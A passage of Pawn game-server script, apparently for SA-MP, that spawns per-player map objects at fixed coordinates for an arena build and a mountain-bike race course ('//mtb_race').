    if(from<=(59+412) && to>=(59+412)) PlayerObject[playerid][59+412] = CreatePlayerObject(playerid, (18647+random(5)),1261.11816406,-3813.47167969,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(60+412) && to>=(60+412)) PlayerObject[playerid][60+412] = CreatePlayerObject(playerid, (18647+random(5)),1203.33105469,-3816.70703125,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(61+412) && to>=(61+412)) PlayerObject[playerid][61+412] = CreatePlayerObject(playerid, (18647+random(5)),1345.82250977,-3843.29541016,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(62+412) && to>=(62+412)) PlayerObject[playerid][62+412] = CreatePlayerObject(playerid, (18647+random(5)),1378.83203125,-3840.71191406,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(63+412) && to>=(63+412)) PlayerObject[playerid][63+412] = CreatePlayerObject(playerid, (18647+random(5)),1093.01953125,-3860.95312500,100.13301849,0.00000000,0.00000000,0.00000000);
    if(from<=(64+412) && to>=(64+412)) PlayerObject[playerid][64+412] = CreatePlayerObject(playerid, (18647+random(5)),1310.61816406,-3845.69726562,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(65+412) && to>=(65+412)) PlayerObject[playerid][65+412] = CreatePlayerObject(playerid, (18647+random(5)),1273.57519531,-3848.28710938,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(66+412) && to>=(66+412)) PlayerObject[playerid][66+412] = CreatePlayerObject(playerid, (18647+random(5)),1240.81542969,-3850.82617188,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(67+412) && to>=(67+412)) PlayerObject[playerid][67+412] = CreatePlayerObject(playerid, (18647+random(5)),1202.72167969,-3853.29980469,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(68+412) && to>=(68+412)) PlayerObject[playerid][68+412] = CreatePlayerObject(playerid, (18647+random(5)),1169.61132812,-3855.50683594,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(69+412) && to>=(69+412)) PlayerObject[playerid][69+412] = CreatePlayerObject(playerid, (18647+random(5)),1131.81933594,-3858.09179688,100.13501740,0.00000000,0.00000000,0.00000000);
    if(from<=(70+412) && to>=(70+412)) PlayerObject[playerid][70+412] = CreatePlayerObject(playerid, (18647+random(5)),1050.03588867,-3680.90136719,100.15501404,0.00000000,0.00000000,0.00000000);
    if(from<=(71+412) && to>=(71+412)) PlayerObject[playerid][71+412] = CreatePlayerObject(playerid, (18647+random(5)),1054.94628906,-3856.52050781,100.13301849,0.00000000,0.00000000,0.00000000);
    if(from<=(72+412) && to>=(72+412)) PlayerObject[playerid][72+412] = CreatePlayerObject(playerid, (18647+random(5)),1027.76953125,-3830.91308594,100.13301849,0.00000000,0.00000000,0.00000000);
    if(from<=(73+412) && to>=(73+412)) PlayerObject[playerid][73+412] = CreatePlayerObject(playerid, (18647+random(5)),1019.59082031,-3800.76562500,100.13301849,0.00000000,0.00000000,0.00000000);
    if(from<=(74+412) && to>=(74+412)) PlayerObject[playerid][74+412] = CreatePlayerObject(playerid, (18647+random(5)),1027.11816406,-3761.04101562,100.15501404,0.00000000,0.00000000,0.00000000);
    if(from<=(75+412) && to>=(75+412)) PlayerObject[playerid][75+412] = CreatePlayerObject(playerid, (18647+random(5)),1038.86035156,-3720.24023438,100.15501404,0.00000000,0.00000000,0.00000000);
    if(from<=(76+412) && to>=(76+412)) PlayerObject[playerid][76+412] = CreatePlayerObject(playerid, (18647+random(5)),1072.15039062,-3604.80957031,100.15551758,0.00000000,0.00000000,0.00000000);
    if(from<=(77+412) && to>=(77+412)) PlayerObject[playerid][77+412] = CreatePlayerObject(playerid, (18647+random(5)),1060.60742188,-3644.52050781,100.14501953,0.00000000,0.00000000,0.00000000);
    if(from<=(78+412) && to>=(78+412)) PlayerObject[playerid][78+412] = CreatePlayerObject(playerid, (18647+random(5)),1087.78002930,-3566.54248047,100.15551758,0.00000000,0.00000000,0.00000000);
    if(from<=(79+412) && to>=(79+412)) PlayerObject[playerid][79+412] = CreatePlayerObject(playerid, (18647+random(5)),1148.76391602,-3543.53710938,100.15551758,0.00000000,0.00000000,0.00000000);
    if(from<=(80+412) && to>=(80+412)) PlayerObject[playerid][80+412] = CreatePlayerObject(playerid, (18647+random(5)),1112.02636719,-3548.28222656,100.15551758,0.00000000,0.00000000,0.00000000);
    if(from<=(81+412) && to>=(81+412)) PlayerObject[playerid][81+412] = CreatePlayerObject(playerid, (18647+random(5)),1190.45581055,-3571.79467773,100.14501953,0.00000000,0.00000000,0.00000000);
    if(from<=(82+412) && to>=(82+412)) PlayerObject[playerid][82+412] = CreatePlayerObject(playerid, (18647+random(5)),1198.28540039,-3611.81591797,100.14501953,0.00000000,0.00000000,0.00000000);
    if(from<=(83+412) && to>=(83+412)) PlayerObject[playerid][83+412] = CreatePlayerObject(playerid, (18647+random(5)),1183.40014648,-3642.67944336,100.14501953,0.00000000,0.00000000,0.00000000);
    if(from<=(84+412) && to>=(84+412)) PlayerObject[playerid][84+412] = CreatePlayerObject(playerid, (18647+random(5)),1121.43896484,-3713.22192383,100.13251495,0.00000000,0.00000000,0.00000000);
    if(from<=(85+412) && to>=(85+412)) PlayerObject[playerid][85+412] = CreatePlayerObject(playerid, (18647+random(5)),1161.40722656,-3664.32226562,100.14501953,0.00000000,0.00000000,0.00000000);
    if(from<=(86+412) && to>=(86+412)) PlayerObject[playerid][86+412] = CreatePlayerObject(playerid, (18647+random(5)),1135.67968750,-3688.23339844,100.14501953,0.00000000,0.00000000,0.00000000);
    if(from<=(87+412) && to>=(87+412)) PlayerObject[playerid][87+412] = CreatePlayerObject(playerid, (18647+random(5)),1135.02832031,-3736.59448242,100.13251495,0.00000000,0.00000000,0.00000000);
    if(from<=(88+412) && to>=(88+412)) PlayerObject[playerid][88+412] = CreatePlayerObject(playerid, (18647+random(5)),1162.83679199,-3752.09790039,100.12902069,0.00000000,0.00000000,0.00000000);
    if(from<=(89+412) && to>=(89+412)) PlayerObject[playerid][89+412] = CreatePlayerObject(playerid, (18647+random(5)),1214.24304199,-3667.06640625,100.13652039,0.00000000,0.00000000,0.00000000);
    if(from<=(90+412) && to>=(90+412)) PlayerObject[playerid][90+412] = CreatePlayerObject(playerid, (18647+random(5)),1189.25585938,-3753.68945312,100.12902069,0.00000000,0.00000000,0.00000000);
    if(from<=(91+412) && to>=(91+412)) PlayerObject[playerid][91+412] = CreatePlayerObject(playerid, (18647+random(5)),1204.13964844,-3729.04003906,100.12902069,0.00000000,0.00000000,0.00000000);
    if(from<=(92+412) && to>=(92+412)) PlayerObject[playerid][92+412] = CreatePlayerObject(playerid, (18647+random(5)),1208.69140625,-3698.06250000,100.13652039,0.00000000,0.00000000,0.00000000);
    if(from<=(93+412) && to>=(93+412)) PlayerObject[playerid][93+412] = CreatePlayerObject(playerid, (18647+random(5)),1226.42614746,-3599.84765625,100.13652039,0.00000000,0.00000000,0.00000000);
    if(from<=(94+412) && to>=(94+412)) PlayerObject[playerid][94+412] = CreatePlayerObject(playerid, (18647+random(5)),1220.89355469,-3631.63085938,100.13652039,0.00000000,0.00000000,0.00000000);
    if(from<=(95+412) && to>=(95+412)) PlayerObject[playerid][95+412] = CreatePlayerObject(playerid, (18647+random(5)),1233.42944336,-3563.71777344,100.14302063,0.00000000,0.00000000,0.00000000);
    if(from<=(96+412) && to>=(96+412)) PlayerObject[playerid][96+412] = CreatePlayerObject(playerid, (18647+random(5)),1281.26086426,-3520.82543945,100.14302063,0.00000000,0.00000000,0.00000000);
    if(from<=(97+412) && to>=(97+412)) PlayerObject[playerid][97+412] = CreatePlayerObject(playerid, (18647+random(5)),1250.99316406,-3535.85351562,100.14302063,0.00000000,0.00000000,0.00000000);
    if(from<=(98+412) && to>=(98+412)) PlayerObject[playerid][98+412] = CreatePlayerObject(playerid, (18647+random(5)),1344.02258301,-3543.79565430,100.14302063,0.00000000,0.00000000,0.00000000);
    if(from<=(99+412) && to>=(99+412)) PlayerObject[playerid][99+412] = CreatePlayerObject(playerid, (18647+random(5)),1313.86132812,-3523.51660156,100.14302063,0.00000000,0.00000000,0.00000000);
    if(from<=(100+412) && to>=(100+412)) PlayerObject[playerid][100+412] = CreatePlayerObject(playerid, (18647+random(5)),1376.32739258,-3566.99780273,100.14302063,0.00000000,0.00000000,0.00000000);
    if(from<=(101+412) && to>=(101+412)) PlayerObject[playerid][101+412] = CreatePlayerObject(playerid, (18647+random(5)),1402.73657227,-3586.04785156,100.13781738,0.00000000,0.00000000,0.00000000);
    if(from<=(102+412) && to>=(102+412)) PlayerObject[playerid][102+412] = CreatePlayerObject(playerid, (18647+random(5)),1426.25476074,-3604.84399414,100.13781738,0.00000000,0.00000000,0.00000000);
    if(from<=(103+412) && to>=(103+412)) PlayerObject[playerid][103+412] = CreatePlayerObject(playerid, (18647+random(5)),1441.01770020,-3634.32104492,100.13781738,0.00000000,0.00000000,0.00000000);
    if(from<=(104+412) && to>=(104+412)) PlayerObject[playerid][104+412] = CreatePlayerObject(playerid, (18647+random(5)),1443.55761719,-3665.71899414,100.13781738,0.00000000,0.00000000,0.00000000);
    if(from<=(105+412) && to>=(105+412)) PlayerObject[playerid][105+412] = CreatePlayerObject(playerid, (18647+random(5)),1445.96655273,-3704.33544922,100.13781738,0.00000000,0.00000000,0.00000000);
    if(from<=(106+412) && to>=(106+412)) PlayerObject[playerid][106+412] = CreatePlayerObject(playerid, (18647+random(5)),1448.60876465,-3739.93945312,100.11701965,0.00000000,0.00000000,0.00000000);
    if(from<=(107+412) && to>=(107+412)) PlayerObject[playerid][107+412] = CreatePlayerObject(playerid, (18647+random(5)),1450.66442871,-3778.79199219,100.13101959,0.00000000,0.00000000,0.00000000);
    if(from<=(108+412) && to>=(108+412)) PlayerObject[playerid][108+412] = CreatePlayerObject(playerid, (18647+random(5)),1444.03906250,-3805.40234375,100.13101959,0.00000000,0.00000000,0.00000000);
    if(from<=(109+412) && to>=(109+412)) PlayerObject[playerid][109+412] = CreatePlayerObject(playerid, (18647+random(5)),1423.64257812,-3829.62500000,100.13101959,0.00000000,0.00000000,0.00000000);
    if(from<=(110+412) && to>=(110+412)) PlayerObject[playerid][110+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3850.00000000,136.00000000,270.00000000,90.00000000,179.99450684);
    if(from<=(111+412) && to>=(111+412)) PlayerObject[playerid][111+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3801.77246094,69.80000305,90.00000000,90.00000000,179.99450684);
    if(from<=(112+412) && to>=(112+412)) PlayerObject[playerid][112+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3752.77246094,69.80000305,90.00000000,90.00000000,179.99450684);
    if(from<=(113+412) && to>=(113+412)) PlayerObject[playerid][113+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3703.77246094,69.80000305,90.00000000,90.00000000,179.99450684);
    if(from<=(114+412) && to>=(114+412)) PlayerObject[playerid][114+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3654.77246094,69.80000305,90.00000000,90.00000000,179.99450684);
    if(from<=(115+412) && to>=(115+412)) PlayerObject[playerid][115+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3556.77246094,69.80000305,90.00000000,90.00000000,179.99450684);
    if(from<=(116+412) && to>=(116+412)) PlayerObject[playerid][116+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3605.77246094,69.80000305,90.00000000,90.00000000,179.99450684);
    if(from<=(117+412) && to>=(117+412)) PlayerObject[playerid][117+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3507.77246094,69.80000305,90.00000000,90.00000000,179.99450684);
    if(from<=(118+412) && to>=(118+412)) PlayerObject[playerid][118+412] = CreatePlayerObject(playerid, 4563,1042.55004883,-3812.00000000,69.80000305,90.00000000,90.00000000,0.00000000);
    if(from<=(119+412) && to>=(119+412)) PlayerObject[playerid][119+412] = CreatePlayerObject(playerid, 4563,1042.54980469,-3861.00000000,69.80000305,90.00000000,90.00000000,0.00000000);
    if(from<=(120+412) && to>=(120+412)) PlayerObject[playerid][120+412] = CreatePlayerObject(playerid, 4563,1042.54980469,-3763.00000000,69.80000305,90.00000000,90.00000000,0.00000000);
    if(from<=(121+412) && to>=(121+412)) PlayerObject[playerid][121+412] = CreatePlayerObject(playerid, 4563,1042.54980469,-3714.00000000,69.80000305,90.00000000,90.00000000,0.00000000);
    if(from<=(122+412) && to>=(122+412)) PlayerObject[playerid][122+412] = CreatePlayerObject(playerid, 4563,1042.54980469,-3665.00000000,69.80000305,90.00000000,90.00000000,0.00000000);
    if(from<=(123+412) && to>=(123+412)) PlayerObject[playerid][123+412] = CreatePlayerObject(playerid, 4563,1042.54980469,-3616.00000000,69.80000305,90.00000000,90.00000000,0.00000000);
    if(from<=(124+412) && to>=(124+412)) PlayerObject[playerid][124+412] = CreatePlayerObject(playerid, 4563,1042.54980469,-3567.00000000,69.80000305,90.00000000,90.00000000,0.00000000);
    if(from<=(125+412) && to>=(125+412)) PlayerObject[playerid][125+412] = CreatePlayerObject(playerid, 4563,1070.00000000,-3897.39892578,87.00000000,0.00000000,90.00000000,0.00000000);
    if(from<=(126+412) && to>=(126+412)) PlayerObject[playerid][126+412] = CreatePlayerObject(playerid, 4563,1391.00000000,-3897.39843750,87.00000000,90.00000000,90.00000000,179.99450684);
    if(from<=(127+412) && to>=(127+412)) PlayerObject[playerid][127+412] = CreatePlayerObject(playerid, 4563,1484.63146973,-3561.71484375,87.00000000,90.00000000,90.00000000,270.00000000);
    if(from<=(128+412) && to>=(128+412)) PlayerObject[playerid][128+412] = CreatePlayerObject(playerid, 4563,1484.63146973,-3882.23364258,87.00000000,0.00000000,90.00000000,90.00000000);
    if(from<=(129+412) && to>=(129+412)) PlayerObject[playerid][129+412] = CreatePlayerObject(playerid, 4563,1383.30578613,-3484.64428711,87.00000000,0.00000000,90.00000000,180.00000000);
    if(from<=(130+412) && to>=(130+412)) PlayerObject[playerid][130+412] = CreatePlayerObject(playerid, 4563,1042.54980469,-3518.00000000,69.80000305,90.00000000,90.00000000,0.00000000);
    if(from<=(131+412) && to>=(131+412)) PlayerObject[playerid][131+412] = CreatePlayerObject(playerid, 4563,1062.40368652,-3484.64428711,87.00000000,90.00000000,90.00000000,0.00000000);
    if(from<=(132+412) && to>=(132+412)) PlayerObject[playerid][132+412] = CreatePlayerObject(playerid, 4563,985.87585449,-3475.19995117,87.00000000,0.00000000,90.00000000,270.00000000);
    if(from<=(133+412) && to>=(133+412)) PlayerObject[playerid][133+412] = CreatePlayerObject(playerid, 4563,985.87500000,-3796.24121094,87.00000000,90.00000000,90.00000000,90.00000000);
    if(from<=(134+412) && to>=(134+412)) PlayerObject[playerid][134+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3850.77246094,69.80000305,90.00000000,90.00000000,179.99450684);
    if(from<=(135+412) && to>=(135+412)) PlayerObject[playerid][135+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3801.00000000,136.00000000,269.99450684,90.00000000,179.99450684);
    if(from<=(136+412) && to>=(136+412)) PlayerObject[playerid][136+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3703.00000000,136.00000000,269.99450684,90.00000000,179.99450684);
    if(from<=(137+412) && to>=(137+412)) PlayerObject[playerid][137+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3752.00000000,136.00000000,269.99450684,90.00000000,179.99450684);
    if(from<=(138+412) && to>=(138+412)) PlayerObject[playerid][138+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3654.00000000,136.00000000,269.99450684,90.00000000,179.99450684);
    if(from<=(139+412) && to>=(139+412)) PlayerObject[playerid][139+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3605.00000000,136.00000000,269.99450684,90.00000000,179.99450684);
    if(from<=(140+412) && to>=(140+412)) PlayerObject[playerid][140+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3507.00000000,136.00000000,269.99450684,90.00000000,179.99450684);
    if(from<=(141+412) && to>=(141+412)) PlayerObject[playerid][141+412] = CreatePlayerObject(playerid, 4563,1391.04199219,-3556.00000000,136.00000000,269.99450684,90.00000000,179.99450684);
    if(from<=(142+412) && to>=(142+412)) PlayerObject[playerid][142+412] = CreatePlayerObject(playerid, 4563,1044.00000000,-3513.00000000,136.00000000,269.99450684,90.00000000,0.00000000);
    if(from<=(143+412) && to>=(143+412)) PlayerObject[playerid][143+412] = CreatePlayerObject(playerid, 4563,1044.00000000,-3562.00000000,136.00000000,269.98901367,90.00000000,0.00000000);
    if(from<=(144+412) && to>=(144+412)) PlayerObject[playerid][144+412] = CreatePlayerObject(playerid, 4563,1044.00000000,-3660.00000000,136.00000000,269.98901367,90.00000000,0.00000000);
    if(from<=(145+412) && to>=(145+412)) PlayerObject[playerid][145+412] = CreatePlayerObject(playerid, 4563,1044.00000000,-3611.00000000,136.00000000,269.98901367,90.00000000,0.00000000);
    if(from<=(146+412) && to>=(146+412)) PlayerObject[playerid][146+412] = CreatePlayerObject(playerid, 4563,1044.00000000,-3709.00000000,136.00000000,269.98901367,90.00000000,0.00000000);
    if(from<=(147+412) && to>=(147+412)) PlayerObject[playerid][147+412] = CreatePlayerObject(playerid, 4563,1044.00000000,-3758.00000000,136.00000000,269.98901367,90.00000000,0.00000000);
    if(from<=(148+412) && to>=(148+412)) PlayerObject[playerid][148+412] = CreatePlayerObject(playerid, 4563,1044.00000000,-3807.00000000,136.00000000,269.98901367,90.00000000,0.00000000);
    if(from<=(149+412) && to>=(149+412)) PlayerObject[playerid][149+412] = CreatePlayerObject(playerid, 4563,1044.00000000,-3856.00000000,136.00000000,269.98901367,90.00000000,0.00000000);
    //mtb_race
    if(from<=(0+562) && to>=(0+562)) PlayerObject[playerid][0+562] = CreatePlayerObject(playerid, 8661,599.95001221,-3700.00000000,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(1+562) && to>=(1+562)) PlayerObject[playerid][1+562] = CreatePlayerObject(playerid, 8661,639.89941406,-3700.00000000,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(2+562) && to>=(2+562)) PlayerObject[playerid][2+562] = CreatePlayerObject(playerid, 8661,560.00000000,-3719.94995117,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(3+562) && to>=(3+562)) PlayerObject[playerid][3+562] = CreatePlayerObject(playerid, 8661,560.00000000,-3739.89941406,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(4+562) && to>=(4+562)) PlayerObject[playerid][4+562] = CreatePlayerObject(playerid, 8661,560.00000000,-3759.84960938,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(5+562) && to>=(5+562)) PlayerObject[playerid][5+562] = CreatePlayerObject(playerid, 8661,560.00000000,-3779.80004883,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(6+562) && to>=(6+562)) PlayerObject[playerid][6+562] = CreatePlayerObject(playerid, 8661,560.00000000,-3799.75000000,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(7+562) && to>=(7+562)) PlayerObject[playerid][7+562] = CreatePlayerObject(playerid, 8661,599.94921875,-3799.75000000,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(8+562) && to>=(8+562)) PlayerObject[playerid][8+562] = CreatePlayerObject(playerid, 8661,599.94921875,-3779.79980469,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(9+562) && to>=(9+562)) PlayerObject[playerid][9+562] = CreatePlayerObject(playerid, 8661,599.94921875,-3759.85009766,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(10+562) && to>=(10+562)) PlayerObject[playerid][10+562] = CreatePlayerObject(playerid, 8661,599.94921875,-3739.89990234,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(11+562) && to>=(11+562)) PlayerObject[playerid][11+562] = CreatePlayerObject(playerid, 8661,599.94921875,-3719.94995117,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(12+562) && to>=(12+562)) PlayerObject[playerid][12+562] = CreatePlayerObject(playerid, 8661,639.89941406,-3799.75000000,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(13+562) && to>=(13+562)) PlayerObject[playerid][13+562] = CreatePlayerObject(playerid, 8661,639.89941406,-3779.79980469,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(14+562) && to>=(14+562)) PlayerObject[playerid][14+562] = CreatePlayerObject(playerid, 8661,639.89941406,-3759.84960938,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(15+562) && to>=(15+562)) PlayerObject[playerid][15+562] = CreatePlayerObject(playerid, 8661,639.89941406,-3739.89941406,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(16+562) && to>=(16+562)) PlayerObject[playerid][16+562] = CreatePlayerObject(playerid, 8661,639.89941406,-3719.94921875,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(17+562) && to>=(17+562)) PlayerObject[playerid][17+562] = CreatePlayerObject(playerid, 5152,650.29980469,-3694.54980469,54.93000031,0.00000000,0.00000000,0.00000000);
    if(from<=(18+562) && to>=(18+562)) PlayerObject[playerid][18+562] = CreatePlayerObject(playerid, 5262,657.13378906,-3697.59960938,52.95766068,0.00000000,0.00000000,90.00000000);
    if(from<=(19+562) && to>=(19+562)) PlayerObject[playerid][19+562] = CreatePlayerObject(playerid, 5152,646.21972656,-3694.54980469,53.34999847,0.00000000,4.99328613,0.00000000);
    if(from<=(20+562) && to>=(20+562)) PlayerObject[playerid][20+562] = CreatePlayerObject(playerid, 5152,642.19921875,-3694.54980469,52.18899918,0.00000000,9.99755859,0.00000000);
    if(from<=(21+562) && to>=(21+562)) PlayerObject[playerid][21+562] = CreatePlayerObject(playerid, 5152,616.84960938,-3694.54980469,49.84000015,0.00000000,19.98962402,0.00000000);
    if(from<=(22+562) && to>=(22+562)) PlayerObject[playerid][22+562] = CreatePlayerObject(playerid, 5152,637.97949219,-3694.54980469,51.36399841,0.00000000,14.98535156,0.00000000);
    if(from<=(23+562) && to>=(23+562)) PlayerObject[playerid][23+562] = CreatePlayerObject(playerid, 5152,633.59960938,-3694.54980469,50.90000153,0.00000000,19.98413086,0.00000000);
    if(from<=(24+562) && to>=(24+562)) PlayerObject[playerid][24+562] = CreatePlayerObject(playerid, 5152,629.19921875,-3694.54980469,50.61999893,0.00000000,19.98413086,0.00000000);
    if(from<=(25+562) && to>=(25+562)) PlayerObject[playerid][25+562] = CreatePlayerObject(playerid, 5152,625.00000000,-3694.54980469,50.35539627,0.00000000,19.98413086,0.00000000);
    if(from<=(26+562) && to>=(26+562)) PlayerObject[playerid][26+562] = CreatePlayerObject(playerid, 5152,621.00000000,-3694.54980469,50.10250092,0.00000000,19.98413086,0.00000000);
    if(from<=(27+562) && to>=(27+562)) PlayerObject[playerid][27+562] = CreatePlayerObject(playerid, 5269,647.83398438,-3695.00000000,51.12500000,0.00000000,0.00000000,0.00000000);
    if(from<=(28+562) && to>=(28+562)) PlayerObject[playerid][28+562] = CreatePlayerObject(playerid, 3800,637.29003906,-3694.50000000,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(29+562) && to>=(29+562)) PlayerObject[playerid][29+562] = CreatePlayerObject(playerid, 8661,679.84997559,-3700.00000000,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(30+562) && to>=(30+562)) PlayerObject[playerid][30+562] = CreatePlayerObject(playerid, 8661,679.84997559,-3719.94921875,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(31+562) && to>=(31+562)) PlayerObject[playerid][31+562] = CreatePlayerObject(playerid, 8661,679.84960938,-3739.89941406,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(32+562) && to>=(32+562)) PlayerObject[playerid][32+562] = CreatePlayerObject(playerid, 8661,679.84960938,-3759.84960938,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(33+562) && to>=(33+562)) PlayerObject[playerid][33+562] = CreatePlayerObject(playerid, 8661,679.84960938,-3779.79980469,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(34+562) && to>=(34+562)) PlayerObject[playerid][34+562] = CreatePlayerObject(playerid, 5259,676.19921875,-3694.12988281,49.45000076,0.00000000,0.00000000,0.00000000);
    if(from<=(35+562) && to>=(35+562)) PlayerObject[playerid][35+562] = CreatePlayerObject(playerid, 3565,686.00000000,-3694.54003906,50.79999924,0.00000000,15.00000000,0.00000000);
    if(from<=(36+562) && to>=(36+562)) PlayerObject[playerid][36+562] = CreatePlayerObject(playerid, 3565,683.29980469,-3694.52539062,51.75999832,0.00000000,24.99938965,0.00000000);
    if(from<=(37+562) && to>=(37+562)) PlayerObject[playerid][37+562] = CreatePlayerObject(playerid, 3565,683.29980469,-3694.52539062,51.75999832,0.00000000,24.99938965,0.00000000);
    if(from<=(38+562) && to>=(38+562)) PlayerObject[playerid][38+562] = CreatePlayerObject(playerid, 3565,688.50000000,-3694.30004883,50.00000000,10.00000000,0.00000000,0.00000000);
    if(from<=(39+562) && to>=(39+562)) PlayerObject[playerid][39+562] = CreatePlayerObject(playerid, 3565,684.00000000,-3690.93188477,53.00000000,85.00000000,0.00000000,0.00000000);
    if(from<=(40+562) && to>=(40+562)) PlayerObject[playerid][40+562] = CreatePlayerObject(playerid, 3565,692.84295654,-3693.03833008,50.70000076,39.99572754,0.00000000,340.00000000);
    if(from<=(41+562) && to>=(41+562)) PlayerObject[playerid][41+562] = CreatePlayerObject(playerid, 3565,694.16534424,-3693.48339844,50.70000076,39.99572754,0.00000000,323.99938965);
    if(from<=(42+562) && to>=(42+562)) PlayerObject[playerid][42+562] = CreatePlayerObject(playerid, 3565,695.35937500,-3694.39062500,50.70000076,39.99572754,0.00000000,301.49780273);
    if(from<=(43+562) && to>=(43+562)) PlayerObject[playerid][43+562] = CreatePlayerObject(playerid, 3565,696.23181152,-3695.55786133,50.70000076,39.99572754,0.00000000,277.49230957);
    if(from<=(44+562) && to>=(44+562)) PlayerObject[playerid][44+562] = CreatePlayerObject(playerid, 3565,696.57849121,-3697.70312500,50.70000076,39.99572754,0.00000000,270.00000000);
    if(from<=(45+562) && to>=(45+562)) PlayerObject[playerid][45+562] = CreatePlayerObject(playerid, 3565,692.00000000,-3694.30004883,50.03499985,9.99755859,0.00000000,0.00000000);
    if(from<=(46+562) && to>=(46+562)) PlayerObject[playerid][46+562] = CreatePlayerObject(playerid, 3565,691.72070312,-3692.41992188,50.70000076,39.99572754,0.00000000,0.00000000);
    if(from<=(47+562) && to>=(47+562)) PlayerObject[playerid][47+562] = CreatePlayerObject(playerid, 3565,693.47418213,-3692.02783203,51.84999847,64.99511719,0.00000000,339.00000000);
    if(from<=(48+562) && to>=(48+562)) PlayerObject[playerid][48+562] = CreatePlayerObject(playerid, 3565,695.46716309,-3693.30249023,51.84999847,64.99511719,0.00000000,318.99963379);
    if(from<=(49+562) && to>=(49+562)) PlayerObject[playerid][49+562] = CreatePlayerObject(playerid, 3565,696.58917236,-3694.65869141,51.84999847,64.99511719,0.00000000,296.99902344);
    if(from<=(50+562) && to>=(50+562)) PlayerObject[playerid][50+562] = CreatePlayerObject(playerid, 3565,697.40734863,-3695.91503906,51.84999847,64.99511719,0.00000000,274.99890137);
    if(from<=(51+562) && to>=(51+562)) PlayerObject[playerid][51+562] = CreatePlayerObject(playerid, 3565,691.66308594,-3691.36816406,51.84999847,64.99511719,0.00000000,0.00000000);
    if(from<=(52+562) && to>=(52+562)) PlayerObject[playerid][52+562] = CreatePlayerObject(playerid, 3565,693.13928223,-3691.36621094,53.00000000,84.99572754,0.00000000,338.00000000);
    if(from<=(53+562) && to>=(53+562)) PlayerObject[playerid][53+562] = CreatePlayerObject(playerid, 3565,694.45336914,-3692.09277344,53.00000000,84.99023438,0.00000000,321.99987793);
    if(from<=(54+562) && to>=(54+562)) PlayerObject[playerid][54+562] = CreatePlayerObject(playerid, 3565,696.14013672,-3693.41992188,53.00000000,84.98474121,0.00000000,301.99829102);
    if(from<=(55+562) && to>=(55+562)) PlayerObject[playerid][55+562] = CreatePlayerObject(playerid, 3565,697.56347656,-3695.11816406,53.00000000,84.97375488,0.00000000,279.99755859);
    if(from<=(56+562) && to>=(56+562)) PlayerObject[playerid][56+562] = CreatePlayerObject(playerid, 3565,698.22961426,-3697.75878906,53.00000000,84.97375488,0.00000000,270.00000000);
    if(from<=(57+562) && to>=(57+562)) PlayerObject[playerid][57+562] = CreatePlayerObject(playerid, 3565,680.00000000,-3694.50000000,51.20000076,0.00000000,0.00000000,0.00000000);
    if(from<=(58+562) && to>=(58+562)) PlayerObject[playerid][58+562] = CreatePlayerObject(playerid, 3565,698.22949219,-3703.00000000,53.00000000,84.96826172,0.00000000,270.00000000);
    if(from<=(59+562) && to>=(59+562)) PlayerObject[playerid][59+562] = CreatePlayerObject(playerid, 3565,697.71289062,-3703.05004883,51.84999847,64.99511719,0.00000000,270.00000000);
    if(from<=(60+562) && to>=(60+562)) PlayerObject[playerid][60+562] = CreatePlayerObject(playerid, 3565,696.53002930,-3703.09912109,50.70000076,39.99572754,0.00000000,270.00000000);
    if(from<=(61+562) && to>=(61+562)) PlayerObject[playerid][61+562] = CreatePlayerObject(playerid, 3565,684.00000000,-3692.48828125,50.70000076,40.00000000,0.00000000,0.00000000);
    if(from<=(62+562) && to>=(62+562)) PlayerObject[playerid][62+562] = CreatePlayerObject(playerid, 3565,684.00000000,-3691.33203125,51.84999847,64.99511719,0.00000000,0.00000000);
    if(from<=(63+562) && to>=(63+562)) PlayerObject[playerid][63+562] = CreatePlayerObject(playerid, 3565,691.68164062,-3690.93164062,53.00000000,84.99572754,0.00000000,0.00000000);
